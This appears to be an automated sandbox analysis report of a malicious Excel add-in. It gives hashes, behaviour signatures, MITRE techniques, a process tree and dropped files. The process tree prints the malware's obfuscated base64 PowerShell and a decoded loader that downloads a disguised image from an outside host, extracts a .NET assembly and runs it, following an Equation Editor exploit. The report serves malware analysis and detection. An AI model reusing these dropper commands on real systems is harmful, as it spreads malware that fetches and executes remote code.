ff65186068e880f278d84c0f63b3de37f626e90cdb251d789f2ce38cb6453eec

General

Target

fc827d0192f306a883a34b6e3a126ee398d98e6bb9b7cd6d549ed3e316d553c9.xlam
Size

1.1MB
MD5

8596666635944f948a32b4247be77209
SHA1

162c543cb26b552e7e283c89dc624cfa9458d929
SHA256

fc827d0192f306a883a34b6e3a126ee398d98e6bb9b7cd6d549ed3e316d553c9
SHA512

76ac60f6ca0b160bc5883cf143a2c080346454c6fad6895c8d6a2c8c964c1276a64aa481e2a18515acbb23981d7c6422e44768621f2cd0597f62300e044e6a3b
SSDEEP

12288:akeG411Ie6y67lvHPK2JW9p/4hEK0zPKPw3nL+0RsUHoH0tT/M2ZZuj5/2jdcNot:aF56y6k2JMp4EK0EwvM0F/MDR2jGNot

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

exe.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	1980	EQNEDT32.EXE
8	2372	powershell.exe
10	2372	powershell.exe
12	2372	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
1980	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2216	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2860	powershell.exe
2372	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	2372	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1980 wrote to memory of 1636	1980	EQNEDT32.EXE	29
PID 1980 wrote to memory of 1636	1980	EQNEDT32.EXE	29
PID 1980 wrote to memory of 1636	1980	EQNEDT32.EXE	29
PID 1980 wrote to memory of 1636	1980	EQNEDT32.EXE	29
PID 1636 wrote to memory of 2860	1636	WScript.exe	31
PID 1636 wrote to memory of 2860	1636	WScript.exe	31
PID 1636 wrote to memory of 2860	1636	WScript.exe	31
PID 1636 wrote to memory of 2860	1636	WScript.exe	31
PID 2860 wrote to memory of 2372	2860	powershell.exe	33
PID 2860 wrote to memory of 2372	2860	powershell.exe	33
PID 2860 wrote to memory of 2372	2860	powershell.exe	33
PID 2860 wrote to memory of 2372	2860	powershell.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\fc827d0192f306a883a34b6e3a126ee398d98e6bb9b7cd6d549ed3e316d553c9.xlam
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2216

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:1980
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\gjthtedgetr.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DY#@$#Mw#@$#v#@$#DY#@$#Mg#@$#x#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#dQBu#@$#Gk#@$#dgBl#@$#HI#@$#cwBv#@$#F8#@$#dgBi#@$#HM#@$#LgBq#@$#H#@$##@$#ZQBn#@$#D8#@$#MQ#@$#2#@$#Dk#@$#M#@$##@$#5#@$#DM#@$#MQ#@$#4#@$#DU#@$#NQ#@$#n#@$#Ds#@$#J#@$#B3#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#g#@$#D0#@$#I#@$#BO#@$#GU#@$#dw#@$#t#@$#E8#@$#YgBq#@$#GU#@$#YwB0#@$#C#@$##@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBO#@$#GU#@$#d#@$##@$#u#@$#Fc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#LgBE#@$#G8#@$#dwBu#@$#Gw#@$#bwBh#@$#GQ#@$#R#@$#Bh#@$#HQ#@$#YQ#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FU#@$#cgBs#@$#Ck#@$#Ow#@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBU#@$#GU#@$#e#@$#B0#@$#C4#@$#RQBu#@$#GM#@$#bwBk#@$#Gk#@$#bgBn#@$#F0#@$#Og#@$#6#@$#FU#@$#V#@$#BG#@$#Dg#@$#LgBH#@$#GU#@$#d#@$#BT#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#FM#@$#V#@$#BB#@$#FI#@$#V#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#EU#@$#TgBE#@$#D4#@$#Pg#@$#n#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#p#@$#Ds#@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#Ek#@$#bgBk#@$#GU#@$#e#@$#BP#@$#GY#@$#K#@$##@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwBl#@$#C#@$##@$#M#@$##@$#g#@$#C0#@$#YQBu#@$#GQ#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwB0#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#Kw#@$#9#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#u#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#I#@$##@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#Ow#@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#FM#@$#dQBi#@$#HM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Cw#@$#I#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ck#@$#Ow#@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBD#@$#G8#@$#bgB2#@$#GU#@$#cgB0#@$#F0#@$#Og#@$#6#@$#EY#@$#cgBv#@$#G0#@$#QgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#KQ#@$#7#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBS#@$#GU#@$#ZgBs#@$#GU#@$#YwB0#@$#Gk#@$#bwBu#@$#C4#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#F0#@$#Og#@$#6#@$#Ew#@$#bwBh#@$#GQ#@$#K#@$##@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#Ck#@$#Ow#@$#k#@$#HQ#@$#eQBw#@$#GU#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bs#@$#G8#@$#YQBk#@$#GU#@$#Z#@$#BB#@$#HM#@$#cwBl#@$#G0#@$#YgBs#@$#Hk#@$#LgBH#@$#GU#@$#d#@$#BU#@$#Hk#@$#c#@$#Bl#@$#Cg#@$#JwBG#@$#Gk#@$#YgBl#@$#HI#@$#LgBI#@$#G8#@$#bQBl#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C4#@$#RwBl#@$#HQ#@$#TQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#K#@$##@$#n#@$#FY#@$#QQBJ#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#I#@$##@$#9#@$#C#@$##@$#L#@$##@$#o#@$#Cc#@$#d#@$#B4#@$#HQ#@$#LgBm#@$#Gg#@$#Z#@$#By#@$#GY#@$#aQ#@$#v#@$#G4#@$#dg#@$#v#@$#HM#@$#cwBh#@$#HM#@$#LwBj#@$#Gk#@$#b#@$#Bi#@$#HU#@$#c#@$##@$#v#@$#GQ#@$#bQ#@$#u#@$#HQ#@$#bgBl#@$#HI#@$#ZQBn#@$#Gk#@$#cgBm#@$#GU#@$#cgBr#@$#HI#@$#bwB5#@$#C8#@$#Lw#@$#6#@$#H#@$##@$#d#@$#B0#@$#Gg#@$#Jw#@$#p#@$#Ds#@$#J#@$#Bt#@$#GU#@$#d#@$#Bo#@$#G8#@$#Z#@$##@$#u#@$#Ek#@$#bgB2#@$#G8#@$#awBl#@$#Cg#@$#J#@$#Bu#@$#HU#@$#b#@$#Bs#@$#Cw#@$#I#@$##@$#k#@$#GE#@$#cgBn#@$#HU#@$#bQBl#@$#G4#@$#d#@$#Bz#@$#Ck#@$#';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2860
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.fhdrfi/nv/ssas/cilbup/dm.tneregirferkroy//:ptth');$method.Invoke($null, $arguments)"
      4⤵
      Blocklisted process makes network request
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
af77d9f560293c3907e68cac25ebf67c

SHA1
c8e86f4ac9323705043c974030454847a38ba09e

SHA256
398987d970ce3c360a3025712c6af0ac3f2b28d1be276182fb31a6f5b76383d5

SHA512
f1cfaed8a05280984f1a4d15d65e7a977b814e0852c12ac690734bcc1ec88f7f36ceb940ef7419e813f7da67a9145b474a7458baa5c79388b2354480fa1c7168

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabB608.tmp

Filesize
62KB

MD5
3ac860860707baaf32469fa7cc7c0192

SHA1
c33c2acdaba0e6fa41fd2f00f186804722477639

SHA256
d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904

SHA512
d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarB86C.tmp

Filesize
164KB

MD5
4ff65ad929cd9a367680e0e5b1c08166

SHA1
c0af0d4396bd1f15c45f39d3b849ba444233b3a2

SHA256
c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6

SHA512
f530dc0d024a5a3b8903ffaaa41b608a5ccdd6da4ba1949f2c2e55a9fca475fec5c8d2119b5763cabe7ef1c3788fb9dcac621869db51d65b1d83cfe404fb4c27

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W4ER5GCYT4S2C4LLP6VN.temp

Filesize
7KB

MD5
05f90fffd683ebdb7b494a4ccab66e5c

SHA1
c1252b1a3cf8c3a849b6c4faed6b4f3b3c3b3eaf

SHA256
5a4702c771881784808abb3c8d60668ccaa9e712a4ead73e8e9b8c7991280f41

SHA512
4e94a7defa98a809eaa170f8432b0f85680afcd006b852c6cb5dd0053fcb7164e214e6c59e3278680e5c1e5d1a8e6bb94fa02c481ddd54e60669cce691a4a304

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
05f90fffd683ebdb7b494a4ccab66e5c

SHA1
c1252b1a3cf8c3a849b6c4faed6b4f3b3c3b3eaf

SHA256
5a4702c771881784808abb3c8d60668ccaa9e712a4ead73e8e9b8c7991280f41

SHA512
4e94a7defa98a809eaa170f8432b0f85680afcd006b852c6cb5dd0053fcb7164e214e6c59e3278680e5c1e5d1a8e6bb94fa02c481ddd54e60669cce691a4a304

Download Submit
C:\Users\Admin\AppData\Roaming\gjthtedgetr.vbs

Filesize
221KB

MD5
adfb2542eda28643c7c7b1995a3fb8db

SHA1
962cfff213be6fbc74160720874f12438a3f5bb0

SHA256
bddf0cbc4dded1c51b850c7b975130a2899259b9f18a6f8c8eada12dc2aec4c4

SHA512
bf5fdfb72ba4a602207bdc29cd65e0e356ed7f2a6f75cc5fb5361e6494e607c44d27dc4f50e6af5416b3a574c98b6c28f657e4a8b03a592c3665365d27be0bd3

Download Submit
C:\Users\Admin\AppData\Roaming\gjthtedgetr.vbs

Filesize
221KB

MD5
adfb2542eda28643c7c7b1995a3fb8db

SHA1
962cfff213be6fbc74160720874f12438a3f5bb0

SHA256
bddf0cbc4dded1c51b850c7b975130a2899259b9f18a6f8c8eada12dc2aec4c4

SHA512
bf5fdfb72ba4a602207bdc29cd65e0e356ed7f2a6f75cc5fb5361e6494e607c44d27dc4f50e6af5416b3a574c98b6c28f657e4a8b03a592c3665365d27be0bd3

Download Submit
memory/2216-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2216-55-0x000000007348D000-0x0000000073498000-memory.dmp

Filesize
44KB

Download
memory/2216-158-0x000000007348D000-0x0000000073498000-memory.dmp

Filesize
44KB

Download
memory/2216-157-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2216-79-0x000000007348D000-0x0000000073498000-memory.dmp

Filesize
44KB

Download
memory/2372-75-0x000000006BF60000-0x000000006C50B000-memory.dmp

Filesize
5.7MB

Download
memory/2372-154-0x000000006BF60000-0x000000006C50B000-memory.dmp

Filesize
5.7MB

Download
memory/2372-78-0x0000000002730000-0x0000000002770000-memory.dmp

Filesize
256KB

Download
memory/2372-76-0x0000000002730000-0x0000000002770000-memory.dmp

Filesize
256KB

Download
memory/2372-77-0x000000006BF60000-0x000000006C50B000-memory.dmp

Filesize
5.7MB

Download
memory/2860-80-0x000000006BF60000-0x000000006C50B000-memory.dmp

Filesize
5.7MB

Download
memory/2860-68-0x0000000002600000-0x0000000002640000-memory.dmp

Filesize
256KB

Download
memory/2860-67-0x0000000002600000-0x0000000002640000-memory.dmp

Filesize
256KB

Download
memory/2860-143-0x0000000002600000-0x0000000002640000-memory.dmp

Filesize
256KB

Download
memory/2860-153-0x0000000002600000-0x0000000002640000-memory.dmp

Filesize
256KB

Download
memory/2860-69-0x0000000002600000-0x0000000002640000-memory.dmp

Filesize
256KB

Download
memory/2860-155-0x000000006BF60000-0x000000006C50B000-memory.dmp

Filesize
5.7MB

Download
memory/2860-66-0x000000006BF60000-0x000000006C50B000-memory.dmp

Filesize
5.7MB

Download
memory/2860-65-0x000000006BF60000-0x000000006C50B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing